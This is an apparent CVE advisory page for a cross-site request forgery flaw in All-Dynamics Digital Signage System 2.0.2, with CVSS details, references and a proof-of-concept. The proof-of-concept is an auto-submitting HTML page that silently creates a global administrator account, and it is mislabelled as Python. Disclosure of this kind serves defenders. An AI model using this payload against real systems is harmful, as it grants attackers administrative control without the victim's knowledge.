CVE-2020-36900

Description

All-Dynamics Digital Signage System 2.0.2 contains a cross-site request forgery vulnerability that allows attackers to create administrative users without proper request validation. Attackers can craft a malicious web page that automatically submits forms to create a new user with global administrative privileges when a logged-in user visits the page.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:all-dynamics:digital_signage_system:2.0.2:*:*:*:*:*:*:* - VULNERABLE

All-Dynamics Digital Signage System <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Page Loading...</title> </head> <body> <form action="http://target-server/api/user/create" method="POST" id="csrfForm"> <input type="hidden" name="username" value="malicious_admin"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="privileges" value="global"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this message, the CSRF attack may have failed.</p> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36900
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36900
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36900/
[4] VulDB https://vuldb.com/cve/CVE-2020-36900
[5] https://www.all-dynamics.de
[6] https://www.exploit-db.com/exploits/48736
[7] https://www.vulncheck.com/advisories/all-dynamics-digital-signage-system-cross-site-request-forgery-via-user-management
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5576.php
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5576.php

Raw JSON Data

JSON

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